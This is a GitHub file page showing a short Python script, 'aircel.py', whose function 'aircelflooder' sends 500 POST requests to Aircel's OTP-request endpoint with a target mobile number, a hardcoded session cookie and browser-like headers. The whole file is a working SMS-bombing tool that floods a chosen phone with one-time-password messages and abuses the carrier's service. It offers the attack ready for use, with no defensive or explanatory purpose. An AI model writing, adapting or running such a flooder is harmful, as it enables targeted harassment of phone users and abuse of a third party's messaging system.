-
Notifications
You must be signed in to change notification settings - Fork 3
/
aircel.py
executable file
·31 lines (25 loc) · 1018 Bytes
/
aircel.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
def aircelflooder():
import requests
url = "http://newsim.aircel.com/GYSHD/raiseOtpRequest"
querystring = {"contact": mobile}
headers = {
'accept': "text/plain, */*; q=0.01",
'accept-encoding': "gzip, deflate",
'accept-language': "en-GB,en-US;q=0.8,en;q=0.6",
'cache-control': "no-cache",
'connection': "keep-alive",
'content-length': "0",
'cookie': "JSESSIONID=izMd9OHRnznJlbhLQNTdX2EL",
'host': "newsim.aircel.com",
'origin': "http://newsim.aircel.com",
'pragma': "no-cache",
'referer': "http://newsim.aircel.com/GYSHD/fb",
'user-agent': "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",
'x-requested-with': "XMLHttpRequest"
}
response = requests.request("POST", url, headers=headers, params=querystring)
print(response.text)
mobile = "9999999999"
smsCount = 500
for value in range(0,smsCount):
aircelflooder()